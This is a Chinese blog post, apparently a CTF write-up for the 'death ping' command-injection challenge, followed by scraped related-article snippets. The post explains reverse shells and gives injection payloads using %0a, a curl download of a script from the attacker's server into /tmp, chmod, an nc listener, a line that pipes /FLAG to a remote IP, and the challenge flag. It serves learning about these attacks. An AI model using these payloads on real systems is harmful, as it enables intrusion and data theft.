i春秋 死亡ping命令 原理学习(命令执行+shell反弹)+复现
感谢 doulicau和chesterblue老哥的指导
本题用宝塔搭建环境下 在开放安全组的前提下,也需要将服务器的防火墙打开,因为国内的服务器一开始是默认关闭的。
打开防火墙命令:
iptables -I INPUT -p tcp --dport 8888 -j ACCEPT 开放8888端口命令
这题一开始先按照doulicau老哥的做法做的,一开始还不懂先是要反弹shell,当然尝试了会发现不行。
所以后面选择使用命令执行加重定向来获取信息,不过到我这又不行了。
但现在2021.1.18 还是没做出来 感觉是服务器对发出去的数据又有了限制,依旧是在最后一步报错。
不过其实没做出来也没关系,学到思路以及其中的操作才是最重要的。
这道题虽然墨迹了几天没做出来,但从中还是学到不少东西,所以写篇文章记录一下自己这几天的过程和收获。
目录
前置知识
题目
思路
复现步骤
FLAG
前置知识
命令执行:应用程序的某些功能需要调用可以执行系统命令的函数,如果这些函数的参数被用户控制,就有可能通过命令连接符将恶意命令拼接到正常的函数中,从而随意执行系统命令。
shell反弹:reverse shell,就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端。reverse shell与telnet,ssh等标准shell对应,本质上是网络概念的客户端与服务端的角色反转。
可能说的比较官方,说人话就是:
- 命令执行:正常的命令后面可以凭借危险的命令,系统会直接执行
- shell反弹:这有个前提是我们能控制被攻击机,我们控制它执行一些危险命令,但是输出是在被攻击机上面,所以我们通过反弹一个shell,被攻击机的输入,输出,都传到我们电脑上。
为什么要反弹shell
通常用于被控端因防火墙受限、权限不足、端口被占用等情形
假设我们攻击了一台机器,打开了该机器的一个端口,攻击者在自己的机器去连接目标机器(目标ip:目标机器端口),这是比较常规的形式,我们叫做正向连接。远程桌面,web服务,ssh,telnet等等,都是正向连接。那么什么情况下正向连接不太好用了呢?
1.某客户机中了你的网马,但是它在局域网内,你直接连接不了。
2.它的ip会动态改变,你不能持续控制。
3.由于防火墙等限制,对方机器只能发送请求,不能接收请求。
4.对于病毒,木马,受害者什么时候能中招,对方的网络环境是什么样的,什么时候开关机,都是未知,所以建立一个服务端,让恶意程序主动连接,才是上策。
题目
思路
- fuzz测试发现 %0a,%0b,可传入参数绕过过滤
- 搭建服务器,在服务器上放上1.sh文件(包含反弹shell 和打开flag文件代码)
- 通过命令执行让靶机下载1.sh文件
- 通过命令执行让靶机给1.sh文件加权限
- 打开服务器的监听端口
- 通过命令执行让靶机执行1.sh文件
复现步骤
fuzz测试()前端有输入字符最长限制,我们放在bp做
(原谅我%0a的图没截到。。)
搭建服务器
自己看着别人的write up需要搭建服务器,还特意去学了一下。。。。
这里推荐一个白嫖阿里云服务器的教程(这两天刚我试了一下)
然后就是漫长的搭建服务器的过程,对于我这样一个新手非常不友好,但总算还是搞成了。
我用的方法是阿里云服务器+宝塔(有兴趣的同学可以去试一下)
在根目录创建1.sh文件
ls
cat /FLAG | ip地址 8088
127.0.0.1%0acurl 服务器ip/1.sh > /tmp/1.sh
命令执行让靶机下载你的1.sh文件 并放在tmp文件夹中
命令执行给1.sh文件加权限
127.0.0.1%0achmod 777 /tmp/1.sh
打开自己的服务器8088端口开始监听,得到靶机的输入输出
nc -lvp 8088
命令执行使靶机执行1.sh文件
127.0.0.1%0ash /tmp/1.sh
最后一步寄了,现在也没弄清是哪的问题,但是步骤和原理就是这样了,有懂得原因或是复现成功的大哥可以在评论区留言。
FLAG
虽然最后没复现成功,但该交的flag还是得交,不然感觉亏了很多,哈哈。
n1book{6fa82809179d7f19c67259aa285a7729}
i春秋 死亡ping命令 原理学习(命令执行+shell反弹)+复现相关推荐
- shell脚本循环执行一个linux命令,Linux中循环执行shell命令的方法
Linux命令行,循环执行shell命令 死循环 命令格式while true ;do ; done; 可以将 command 替换为任意命令. 下面以echo "hello"; ...
- python调用shell命令-在Python中执行shell命令的6种方法,你都知道吗?
原标题:在Python中执行shell命令的6种方法,你都知道吗? Python经常被称作"胶水语言",因为它能够轻易地操作其他程序,轻易地包装使用其他语言编写的库.今天我们就讲解 ...
- mac运行linux命令,iOS:mac.app执行shell命令
报错 1: 错误: /bin/bash: line 1: /Users/liuyaqiang/Desktop/GitHub/KTMRobot/auto.sh: Operation not permit ...
- linux man命令原理,Linux命令之man详解
man [-acdDfFhkKtwW] [--path] [m system] [-p string] [-C config_file] [-M pathlist] [-P pager] [-B br ...
- (1)Shell 编程学习 Shell是什么?Shell的浅显原理 为什么要学Shell 及其第一个Shell脚本 CTF角度学习Shell
最近刷CTF题目的时候经常要用到Shell语言,但是自己并没有系统的学习,所以最近花了点时间学习一下,所以重新来梳理一下.对于稍微有一点编程语言基础的同学,能上手Shell其实不需要半小时(甚至更短) ...
- python中command是什么意思_python中command执行shell命令脚本方法
在Python中有一个模块commands也很容易做到以上的效果. 看一下三个函数: 1). commands.getstatusoutput(cmd) 用os.popen()执行命令cmd, 然后返 ...
- [实验室每日一题][20201123][Web]死亡ping命令
原题目:BUUCTF–[第二章 web进阶]死亡ping命令 前置基础(本题会用到的相关知识) 标准输入,标准输出是什么? 要弄清什么是标准输入输出.首先需要弄懂什么是IO. IO 的 I 是 Inp ...
- Linux 下 TC 命令原理及详解
众所周知,在互联网诞生之初都是各个高校和科研机构相互通讯,并没有网络流量控制方面的考虑和设计,IP协议的原则是尽可能好地为所有数据流服务,不同的数据流之间是平等的.然而多年的实践表明,这种原则并不是最 ...
- Linux命令篇 linux命令大全简洁明了 linux学习笔记
Linux命令篇 linux命令大全简洁明了 linux学习笔记 Linux 命令大全 文章目录 Linux 命令大全 一. 常用的基础命令 查看目录: 切换目录: 创建和删除: 拷贝和移动文件: 查 ...
- [整理]ADB命令行学习笔记
global driver # 元素定位 driver.find_element_by_id("id") # id定位 driver.find_element_by_name(&q ...
最新文章
- asp.net实现ftp上传代码(解决大文件上传问题)
- 逆天Kali带你游遍大江南北~安全之前人铺路!
- 小米蓝牙左右互联_解决不同品牌智能家居的兼容问题,小米米家智能多模网关发布...
- [bzoj3532][Sdoi2014]Lis
- 天国近了(一) -- 揭穿OOP神话
- 整体二分初识--POJ2104:K-th Number
- ENVI完整安装步骤
- Grasshopper: Architectural Prototyping Grasshopper建筑原型 Lynda课程中文字幕
- 【网络编程】Socket网络编程基础
- 基于JSP的学术交流论坛系统的设计与实现
- DSP TMS320F2803x 增强型捕获模块(eCAP)
- 微信境外支付php_PHP微信支付功能示例
- 加密勒索病毒:诞生、忽视以及爆炸式增长
- 登入联机服务器失败怎么 修复,元气骑士连接服务器失败 连接不上网络怎么办...
- 线索化二叉树的学习记录
- 改造ueditor 在线图片功能 添加 删除 功能
- 【转】程序员职业规划
- 广州市黄埔区2021-2022学年七年级第一学期期末考试英语试题
- Camtasia2020mac喀秋莎中文免费密钥
- 同济大学博导陈明:解读中国制造2025